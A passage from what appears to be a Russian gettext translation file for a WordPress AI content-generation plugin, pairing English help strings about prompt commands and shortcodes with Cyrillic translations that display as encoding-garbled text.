хотите ли вы прикреплÑÑ‚ÑŒ ÑÑылки к Ñозданным поÑтам LinkedIn." #: res/aiomatic-spinner-list.php:2934 msgid "" "Set if you want to copy meta description from post excerpt, instead of " "creating it. Note that this will disable the AI generator of the SEO meta." msgstr "" "УÑтановите Ñтот флажок, еÑли вы хотите Ñкопировать метаопиÑание из отрывка " "поÑта, а не Ñоздавать его. Обратите внимание, что Ñто отключит генератор AI " "мета-SEO." #: res/aiomatic-main.php:3071 msgid "Set if you want to enable Content Wizard also for not logged in users." msgstr "" "УÑтановите Ñтот флажок, еÑли вы хотите включить МаÑтер Контента также и Ð´Ð»Ñ " "незарегиÑтрированных пользователей." #: res/aiomatic-spinner-list.php:2919 msgid "Set if you want to limit the AI generated meta description length." msgstr "" "УÑтановите, хотите ли вы ограничить длину метаопиÑаниÑ, генерируемого " "иÑкуÑÑтвенным интеллектом." #: res/aiomatic-rules-list.php:4299 #, php-format #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to OpenAI " #| "tag generator. You can use the following shortcodes here: %%post_title%%, " #| "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " #| "%%blog_title%%. You can also add a link to a TXT file, containing " #| "keywords (one per line), or to an RSS feed. If you use RSS feeds, you can " #| "also use the following additional shortcodes: %%post_content%%, " #| "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " #| "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " #| "command should not be greater than the max token count set in the " #| "settings for the prompt command - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You can " #| "also add here a link to a .txt file, where you can add multiple prompts " #| "(one per line) and the plugin will select a random one at each run. You " #| "will also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Set list of prompt commands (one on each line) you want to send to AI " "category generator. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You can also add here a " "link to a .txt file, where you can add multiple prompts (one per line) and " "the plugin will select a random one at each run. You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите " "отправить генератору категорий AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие " "шорткоды: %%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-" "файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. " "ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие " "дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. Длина Ñтой команды не должна превышать макÑимальное " "количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам " "других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в " "который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин " "будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать " "пользовательÑкие шорткоды, определенные в функции 'Создатель " "ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать " "чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ " "Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:3898 res/aiomatic-review-list.php:4051 #: res/aiomatic-youtube-list.php:3809 #, php-format #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to OpenAI " #| "tag generator. You can use the following shortcodes here: %%post_title%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also " #| "add a link to a TXT file, containing keywords (one per line), or to an " #| "RSS feed. If you use RSS feeds, you can also use the following additional " #| "shortcodes: %%post_content%%, %%post_content_plain_text%%, " #| "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " #| "%%post_link%%. The length of this command should not be greater than the " #| "max token count set in the settings for the prompt command - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins). You can also add here a link to a .txt file, where you " #| "can add multiple prompts (one per line) and the plugin will select a " #| "random one at each run. You will also be able to use the custom " #| "shortcodes defined in the 'Custom Shortcode Creator' feature from the " #| "rule settings - this will allow you to create partially or fully AI " #| "generated prompts which will be used for the content generators." msgid "" "Set list of prompt commands (one on each line) you want to send to AI " "category generator. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "You can also add a link to a TXT file, containing keywords (one per line), " "or to an RSS feed. If you use RSS feeds, you can also use the following " "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You can also add here a link to a .txt file, where you can add multiple " "prompts (one per line) and the plugin will select a random one at each run. " "You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите " "отправить генератору категорий AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие " "шорткоды: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий " "ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете " "RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина " "Ñтой команды не должна превышать макÑимальное количеÑтво токенов, " "уÑтановленное в наÑтройках команды промпта- Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить " "неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный " "при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, " "определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек " "правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые " "промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:1545 #, php-format #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to OpenAI " #| "for generating post categories. You can use the following shortcodes here:" #| " %%post_title%%, %%random_sentence%%, %%post_original_title%%, " #| "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT " #| "file, containing keywords (one per line), or to an RSS feed. If you use " #| "RSS feeds, you can also use the following additional shortcodes: " #| "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " #| "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The " #| "length of this command should not be greater than the max token count set " #| "in the settings for the prompt command - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You can " #| "also add here a link to a .txt file, where you can add multiple prompts " #| "(one per line) and the plugin will select a random one at each run. You " #| "will also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Set list of prompt commands (one on each line) you want to send to AI for " "generating post categories. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You can also add here a " "link to a .txt file, where you can add multiple prompts (one per line) and " "the plugin will select a random one at each run. You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите " "отправить в AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ категорий поÑтов. ЗдеÑÑŒ вы можете иÑпользовать " "Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также " "можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на " "Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете " "иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не " "должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках " "команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды " "(шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить " "Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по " "одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:1343 res/aiomatic-review-list.php:1412 #: res/aiomatic-youtube-list.php:1299 #, php-format #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to OpenAI " #| "for generating post tags. You can use the following shortcodes here: " #| "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%." #| " You can also add a link to a TXT file, containing keywords (one per line)" #| ", or to an RSS feed. If you use RSS feeds, you can also use the following " #| "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " #| "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " #| "%%post_link%%. The length of this command should not be greater than the " #| "max token count set in the settings for the prompt command - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins). You can also add here a link to a .txt file, where you " #| "can add multiple prompts (one per line) and the plugin will select a " #| "random one at each run. You will also be able to use the custom " #| "shortcodes defined in the 'Custom Shortcode Creator' feature from the " #| "rule settings - this will allow you to create partially or fully AI " #| "generated prompts which will be used for the content generators." msgid "" "Set list of prompt commands (one on each line) you want to send to AI for " "generating post categories. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "You can also add a link to a TXT file, containing keywords (one per line), " "or to an RSS feed. If you use RSS feeds, you can also use the following " "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You can also add here a link to a .txt file, where you can add multiple " "prompts (one per line) and the plugin will select a random one at each run. " "You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите " "отправить в AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ категорий поÑтов. ЗдеÑÑŒ вы можете иÑпользовать " "Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-" "файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. " "ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие " "дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. Длина Ñтой команды не должна превышать макÑимальное " "количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам " "других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в " "который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин " "будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать " "пользовательÑкие шорткоды, определенные в функции 'Создатель " "ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать " "чаÑтично или полноÑтью AI-генерируемые Промпты, которые будут иÑпользоватьÑÑ " "Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:1672 #, php-format #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to OpenAI " #| "category generator. You can use the following shortcodes here: " #| "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " #| "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT " #| "file, containing keywords (one per line), or to an RSS feed. If you use " #| "RSS feeds, you can also use the following additional shortcodes: " #| "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " #| "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The " #| "length of this command should not be greater than the max token count set " #| "in the settings for the prompt command - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You can " #| "also add here a link to a .txt file, where you can add multiple prompts " #| "(one per line) and the plugin will select a random one at each run. You " #| "will also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Set list of prompt commands (one on each line) you want to send to AI for " "generating post tags. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You can also add here a " "link to a .txt file, where you can add multiple prompts (one per line) and " "the plugin will select a random one at each run. You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите " "отправить в AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ тегов поÑтов. ЗдеÑÑŒ вы можете иÑпользовать " "Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также " "можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на " "Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете " "иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не " "должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках " "команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды " "(шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить " "Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по " "одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:1470 res/aiomatic-review-list.php:1539 #: res/aiomatic-youtube-list.php:1426 #, php-format #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to OpenAI " #| "category generator. You can use the following shortcodes here: " #| "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%." #| " You can also add a link to a TXT file, containing keywords (one per line)" #| ", or to an RSS feed. If you use RSS feeds, you can also use the following " #| "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " #| "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " #| "%%post_link%%. The length of this command should not be greater than the " #| "max token count set in the settings for the prompt command - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins). You can also add here a link to a .txt file, where you " #| "can add multiple prompts (one per line) and the plugin will select a " #| "random one at each run. You will also be able to use the custom " #| "shortcodes defined in the 'Custom Shortcode Creator' feature from the " #| "rule settings - this will allow you to create partially or fully AI " #| "generated prompts which will be used for the content generators." msgid "" "Set list of prompt commands (one on each line) you want to send to AI for " "generating post tags. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "You can also add a link to a TXT file, containing keywords (one per line), " "or to an RSS feed. If you use RSS feeds, you can also use the following " "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You can also add here a link to a .txt file, where you can add multiple " "prompts (one per line) and the plugin will select a random one at each run. " "You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите " "отправить в AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ тегов поÑтов. ЗдеÑÑŒ вы можете иÑпользовать " "Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-" "файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. " "ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие " "дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. Длина Ñтой команды не должна превышать макÑимальное " "количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам " "других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в " "который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин " "будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать " "пользовательÑкие шорткоды, определенные в функции 'Создатель " "ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать " "чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ " "Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:1231 res/aiomatic-single-list.php:2670 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI for " "generating post titles. This command can be any given task or order, based " "on which, it will generate content for posts. You can use the following " "shortcodes here: %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also " "add a link to a TXT file, containing keywords (one per line), or to an RSS " "feed. If you use RSS feeds, you can also use the following additional " "shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The " "length of this command should not be greater than the max token count set in " "the settings for the prompt command - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You can also " "add here a link to a .txt file, where you can add multiple prompts (one per " "line) and the plugin will select a random one at each run. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators." msgstr "" "Задайте ÑпиÑок промпт команд (по одной в каждой Ñтроке), которые вы хотите " "отправить в AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ заголовков поÑтов. Это может быть любое задание " "или приказ, на оÑновании которого AI будет генерировать контент Ð´Ð»Ñ Ð¿Ð¾Ñтов. " "ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий " "ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете " "RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина " "Ñтой команды не должна превышать макÑимальное количеÑтво токенов, " "уÑтановленное в наÑтройках команды prompt - Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить " "неÑколько подÑказок (по одной на Ñтроку), и плагин будет выбирать Ñлучайную " "при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, " "определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек " "правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые " "подÑказки, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:4452 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI tag " "generator. You can use the following shortcodes here: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. You can also add a link to a TXT file, containing keywords " "(one per line), or to an RSS feed. If you use RSS feeds, you can also use " "the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You can also add here a " "link to a .txt file, where you can add multiple prompts (one per line) and " "the plugin will select a random one at each run. You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Задайте ÑпиÑок промпт команд (по одной в каждой Ñтроке), которые вы хотите " "отправить генератору тегов AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие " "шорткоды: %%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-" "файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. " "ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие " "дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. Длина Ñтой команды не должна превышать макÑимальное " "количеÑтво токенов, уÑтановленное в наÑтройках промпт команды - Обновление: " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам " "других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в " "который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин " "будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать " "пользовательÑкие шорткоды, определенные в функции 'Создатель " "ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать " "чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ " "Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:4051 res/aiomatic-review-list.php:4204 #: res/aiomatic-youtube-list.php:3962 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI tag " "generator. You can use the following shortcodes here: %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add " "a link to a TXT file, containing keywords (one per line), or to an RSS feed. " "If you use RSS feeds, you can also use the following additional shortcodes: " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The " "length of this command should not be greater than the max token count set in " "the settings for the prompt command - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You can also " "add here a link to a .txt file, where you can add multiple prompts (one per " "line) and the plugin will select a random one at each run. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators." msgstr "" "Задайте ÑпиÑок промпт команд (по одной в каждой Ñтроке), которые вы хотите " "отправить генератору тегов AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие " "шорткоды: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий " "ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете " "RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина " "Ñтой команды не должна превышать макÑимальное количеÑтво токенов, " "уÑтановленное в наÑтройках промпт команды - Обновление: также " "поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других " "плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который " "можно добавить неÑколько промптов (по одному на Ñтроку), и плагин будет " "выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать " "пользовательÑкие шорткоды, определенные в функции 'Создатель " "ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать " "чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ " "Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:3981 #, php-format #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to OpenAI " #| "title text generator. This command can be any given task or order, based " #| "on which, it will generate content for posts. You can use the following " #| "shortcodes here: %%post_title%%, %%random_sentence%%, " #| "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can " #| "also add a link to a TXT file, containing keywords (one per line), or to " #| "an RSS feed. If you use RSS feeds, you can also use the following " #| "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " #| "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " #| "%%post_link%%. The length of this command should not be greater than the " #| "max token count set in the settings for the prompt command - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins). 